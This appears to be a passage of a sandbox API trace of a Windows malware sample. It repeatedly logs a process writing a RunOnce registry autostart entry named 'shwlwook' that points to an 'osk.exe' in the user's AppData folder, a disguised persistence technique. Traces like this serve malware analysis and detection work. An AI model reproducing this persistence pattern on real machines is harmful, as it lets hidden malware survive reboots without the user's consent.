lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.410] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.410] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.411] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.411] RegCloseKey (hKey=0x14c) returned 0x0 [0255.411] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.411] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.422] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.422] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.422] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.422] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.422] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240e90 | out: ppvObject=0x6240e90*=0x0) returned 0x80004002 [0255.422] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x1c [0255.422] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.423] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x1d [0255.423] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624abd0) returned 0x0 [0255.423] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x1c [0255.423] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.423] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.423] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.423] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.423] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240eb0 | out: ppvObject=0x6240eb0*=0x0) returned 0x80004002 [0255.424] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x1d [0255.424] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1c [0255.424] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.424] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x1c [0255.424] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x6240ec0) returned 0x0 [0255.425] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1b [0255.425] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.425] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.426] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.426] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.426] RegCloseKey (hKey=0x14c) returned 0x0 [0255.426] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.427] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.437] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.437] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.438] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.438] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.438] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240f10 | out: ppvObject=0x6240f10*=0x0) returned 0x80004002 [0255.438] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x1d [0255.438] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.438] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x1e [0255.438] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624ac30) returned 0x0 [0255.439] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x1d [0255.439] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.439] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.439] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.439] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.439] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240f30 | out: ppvObject=0x6240f30*=0x0) returned 0x80004002 [0255.439] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x1e [0255.439] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1d [0255.439] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.440] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x1d [0255.440] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x6240f40) returned 0x0 [0255.441] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1c [0255.441] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.441] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.441] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.442] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.442] RegCloseKey (hKey=0x14c) returned 0x0 [0255.442] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.442] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.442] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.442] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.443] GetWindowLongW (hWnd=0x10222, nIndex=0) returned 10683448 [0255.453] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.453] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.454] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240f90 | out: ppvObject=0x6240f90*=0x0) returned 0x80004002 [0255.454] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x1e [0255.454] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.454] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x1f [0255.454] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624ac90) returned 0x0 [0255.454] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x1e [0255.454] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.454] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.454] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.455] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.455] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240fb0 | out: ppvObject=0x6240fb0*=0x0) returned 0x80004002 [0255.455] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x1f [0255.455] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1e [0255.455] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.455] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x1e [0255.455] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x6240fc0) returned 0x0 [0255.456] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x1d [0255.456] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.457] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 